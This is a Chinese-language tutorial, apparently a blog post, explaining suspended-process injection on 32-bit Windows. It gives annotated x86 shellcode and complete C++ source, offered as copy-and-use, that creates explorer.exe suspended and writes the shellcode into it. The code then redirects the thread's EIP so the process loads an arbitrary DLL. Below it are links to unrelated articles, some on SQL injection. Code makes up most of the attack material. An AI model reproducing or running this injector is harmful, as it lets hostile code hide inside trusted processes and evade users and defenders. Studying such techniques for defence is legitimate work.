ring3 x32挂起进程注入原理.
一丶挂起进程注入简介与前言
挂起进程其实就是在创建进程的时候不让其先执行.然后获取它的EIP 将它的EIP变成我们ShellCode所在的内存.进行执行.不难.
主要分为几步:
1.以CREATE_SUSPENDED标志挂起创建一个你想注入的进程
2.获取这个进程的上下文环境 GetThreadContext 64位下使用Wow64GetThreadContext 请注意.CONTEXT结构还是同一个.使用64的会出错.亲测.(EIP注入的时候测试过.不相信可以去试试)
3.定义自己的ShellCode. ShellCode主要作用就是注入指定路径下的DLL
4.修复ShellCode 因为毕竟ShellCode地址是绝对的所以修复下即可.
5.在目标进程中申请远程可读写执行内存.并且将修复好的ShellCode写入到目标进程
6.将EIP修改为可读写内存的地址.恢复线程则会调用到我们申请地址位置处开始执行.
7.释放一系列资源.
综上所述.其实没有难点.挂起进程注入主要的核心思想就是 挂起进程修改EIP为我们ShellCode起始位置.然后进行调用即可.
这里核心主要是ShellCode
ShellCode如下:
UCHAR g_ShellCode[] = {
0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修复
0x60, //puad
0x9C, //pushfd
0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代码重定位
0x5B, //pop ebx
0x83, 0xEB,0x00, //sub ebx,0 可加可不加
0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址
0x51, //push ecx
0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修复LoadLibraryA的地址
0xFF,0XD0, //call eax 为啥使用Mov reg,address call reg. 自己去坑吧.
0x9D, //popfd
0x61, //popad
0xC3, //ret
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
ShellCode主要知识点有三个
1.保存contex.EIP
2.重定位LoadLibrary的参数
3.重定位LoadLibrary的地址
下面主要针对这几点讲解.
二丶ShellCode核心讲解.
2.1 保存Contex.EIP
首先挂起进程注入. 你通过CONTEXT 这个结构可以获取 目标进程EIP.但是你要想办法执行完ShellCode之后跳转回去.
所以这里我使用了一个简单的方法
push Address
ret
这个方式是利用堆栈.以及ret指令来进行返回的. 当我们保存了原始地址.然后ret的时候.ret会把我们push的地址当做返回地址来执行.
2.2 DLL路径重定位
我们正常来说.调用LoadLibraryA/W的时候.都会进行参数压栈进而进行调用.
如:
push xxxx地址 (地址里面是个DLL路径)
call LoadLibraryA; 调用LoadLibrary
而为了方便我直接代码重定位.直接将ShellCode尾部写入我们的DLL路径.
call $0:
pop ebx
使用这两句可以得到ebx当前指令指定的EIP的地址. 直接当前 EIP + xxx偏移(偏移是你写DLL路径的位置的偏移) 就是我们的参数地址.
2.3 LoadLibrary的重定位
当你直接使用 Call的方式调用LoadLibrary的时候.你还需要计算偏移.各种等等.
但是这种不需要的.为啥. 因为Windows在启动后 kernel32的基址已经固定了.任何程序启动都会默认加载 kernel32的.所以直接使用LoadLibrary当地址即可.
但是你使用Call的方式 (call LoadLibrary) 你还需要计算你的ShellCode 与LoadLibrary的偏移.所以我们直接使用寄存器来做.
mov reg,LoadLibrary
call reg
reg代表任意通用寄存器.
此时我们的ShellCode就可以正常运行了.通过以上步骤就可以开始运行了.
三丶 全部C++代码.拷贝即可使用.
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string>
using namespace std;
UCHAR g_ShellCode[] = {
0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修复
0x60, //puad
0x9C, //pushfd
0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代码重定位
0x5B, //pop ebx
0x83, 0xEB,0x00, //sub ebx,0 可加可不加
0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址
0x51, //push ecx
0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修复LoadLibraryA的地址
0xFF,0XD0, //call eax 为啥使用Mov reg,address call reg. 自己去坑吧.
0x9D, //popfd
0x61, //popad
0xC3, //ret
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填写为DLL路径
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 //不够可以继续添加
};
/*
1.挂起创建Explorer
2.创建ShellCode
3.获取上下文环境
4.申请远程内存 写入ShellCode
5.回去上下文环境
ShellCode 可以写定位LoadLibrary 然后进行调用
*/
//1.挂起创建 Explorer
PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[])
{
BOOL bRet = FALSE;
PPROCESS_INFORMATION pi = nullptr;
pi = new PROCESS_INFORMATION;;
if (pi == nullptr)
{
return nullptr;
}
STARTUPINFO si = { 0 };
si.cb = sizeof(STARTUPINFO);
//创建挂起进程
bRet = CreateProcess(
SuspendProcessName.c_str(),
szComand,
nullptr,
nullptr,
FALSE,
CREATE_SUSPENDED,
nullptr,
nullptr,
&si,
pi);
if (bRet == FALSE)
{
return nullptr;
}
return pi;
}
//申请远程内存
LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected)
{
LPVOID lpBuffer = nullptr;
lpBuffer =
VirtualAllocEx(hProcess,
0,
0x1000,
flAllocation,
Protected
);
if (lpBuffer != nullptr)
return lpBuffer;
return nullptr;
}
//写入ShellCode到远程内存
DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory)
{
//将ShellCode写入到远程内存
DWORD dwRet = 0;
SIZE_T siWriteBytes;
if (hProcess == 0)
return 0;
if (lpExRemoteMemory == nullptr)
return 0;
dwRet = WriteProcessMemory(
hProcess,
lpExRemoteMemory,
g_ShellCode,
sizeof(g_ShellCode) / sizeof(g_ShellCode[0]),
&siWriteBytes);
return dwRet;
}
//修复ShellCode,并且将DLL路径写入到ShellCode位置.
DWORD FixShellCode(DWORD dwContexEip,char* DllPath)
{
/*
纵观全局数据区,ShellCode修复的位置有2处
1.首先要修复原Context的EIP. 这样RET之后直接跳转回去.
2.要修复LoadLibrary的地址. 因为Kernel32是直接加载的都是属于内存映射.所以虚拟地址一样.直接获取填入即可.
不用修复DLLpath. 因为自动进行代码重定位写法了.
*/
//1.修复EIP
__try
{
*(DWORD*)(char*)&g_ShellCode[1] = dwContexEip;
//2.修复LodLibrary地址.
//修复
*(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA;
//将DLL内容拷贝到ShellCode存放路径处
memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
//出错了.
}
return 1;
}
void run()
{
DWORD dwRet = 0;
LPVOID lpStartRemoteAddress = nullptr;
//1.挂起创建进程
PPROCESS_INFORMATION pi = nullptr;
char szCmd[] = "";
pi = StartSuspendProcess("C:\\Windows\\SysWOW64\\explorer.exe",szCmd);
if (!pi)
{
return;
}
//2.获取进程上下文环境.
CONTEXT MyContext = { 0 };
MyContext.ContextFlags = CONTEXT_FULL;
dwRet = GetThreadContext(pi->hThread, &MyContext);
if (!dwRet)
{
return;
}
//3.修复ShellCode的值.并且写入自己的DLL路径
char szDllPath[] = "填入你的DLL路径.如: C:\\xxx.dll";
dwRet = FixShellCode(MyContext.Eip,szDllPath);
//4.申请远程内存
lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpStartRemoteAddress == nullptr)
{
return ;
}
//5.将ShellCode写入到内存中
dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress);
//6.恢复进程启动,修改EIP为我们的ShellCode
MyContext.Eip = (DWORD)lpStartRemoteAddress;
SetThreadContext(pi->hThread, &MyContext);
ResumeThread(pi->hThread); //请注意这里 EIP修改为我们的ShellCode位置.还要恢复线程才会进行执行.
//释放一系列资源
VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE);
CloseHandle(pi->hProcess);
CloseHandle(pi->hThread);
}
int main()
{
run();
return 0;
}
ring3 x32挂起进程注入原理.的更多相关文章
- [Cuckoo SandBox]注入原理篇
1.LoadExe 接python版本 通过调用LoadExe去加载Dll进行注入 所以先看LoadExe 加载器的功能吧 通过python管道接收到 processID,ThreadID,路径 , ...
- 十种MYSQL显错注入原理讲解(二)
上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...
- Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解
前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...
- SQL注入原理
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一 部分程序员在编写代码的时候,没有对用户输入数据的合法性 ...
- Mysql报错注入原理分析(count()、rand()、group by)
Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...
- sql注入--双查询报错注入原理探索
目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...
- PHP依赖注入原理与用法分析
https://www.jb51.net/article/146025.htm 本文实例讲述了PHP依赖注入原理与用法.分享给大家供大家参考,具体如下: 引言 依然是来自到喜啦的一道面试题,你知道什么 ...
- 菜鸟详细解析Cookie注入原理
一.SQL注入原理 我以aspx为例,现在我们来研究下Cookie注入是怎么产生的,在获取URL参数的时候,如果在代码中写成Request[“id”],这样的写法问题就出现了.我先普及下科普知识,在a ...
- 回头探索JDBC及PreparedStatement防SQL注入原理
概述 JDBC在我们学习J2EE的时候已经接触到了,但是仅是照搬步骤书写,其中的PreparedStatement防sql注入原理也是一知半解,然后就想回头查资料及敲测试代码探索一下.再有就是我们在项 ...
随机推荐
- IIS 7.5绑定中文域名转码启动站点报“值不在预期的范围内”
问题现象 IIS 7.5在绑定中文域名转码后,启动站点会出现[值不在预期的范围内]: 解决方案 此问题是由于中文域名绑定错误导致的,IIS 7.5针对中文域名会自动转换为punycode码,所以不需要 ...
- C#读写设置修改调整UVC摄像头画面-光圈
有时,我们需要在C#代码中对摄像头的光圈进行读和写,并立即生效.如何实现呢? 建立基于SharpCamera的项目 首先,请根据之前的一篇博文 点击这里 中的说明,建立基于SharpCamera的摄像 ...
- APS.NET MVC + EF (04)---路由和数据传递
4.1 视图引擎 ASP.NET MVC 提供两种视图引擎:ASPX(C#)和Razor(CSHTML),推荐使用Razor. 4.1.1 Razor的语法 在Razor视图中,所有的服务器端代码都是 ...
- Mybatis映射器接口代理对象的方式 运行过程
查询一张表的所有数据. 环境: 使用工具IntelliJ IDEA 2018.2版本. 创建Maven工程不用骨架 1.pom.xml <?xml version="1.0" ...
- PostgreSql那点事(文件读取写入、命令执行的办法)
• 2013/07/9 作者: admin PostgreSql那点事(文件读取写入.命令执行的办法) 今天无意发现了个PostgreSQL环境,线上学习了下,一般的数据注射(读写数据库)差异不大,不 ...
- 【Iterm2】如何解决iterm2窗口自动隐藏的问题
一.问题描述 当我们使用Iterm2的Hotkey Windom功能时,通过快捷键唤起Iterm2窗口后,然后鼠标在iterm2窗口之外触发点击操作就会让 iterm2窗口自动隐藏.. 这样有时候会觉 ...
- rn 环境搭建
https://reactnative.cn/docs/next/getting-started.html 搭建开发环境 欢迎使用 React Native!这篇文档会帮助你搭建基本的 React N ...
- cmake 编译windows程序
cmake 编译windows程序 cmake 编译windows程序 cmake 编译windows程序 尽量使用 尽量使用 尽量使用 https://www.cnblogs.com/liujia ...
- AtCoder Beginner Contest 146解题报告
题目地址 https://atcoder.jp/contests/abc146/tasks 感觉没有什么有意思的题... 题解 A #include <bits/stdc++.h> usi ...
- url 组成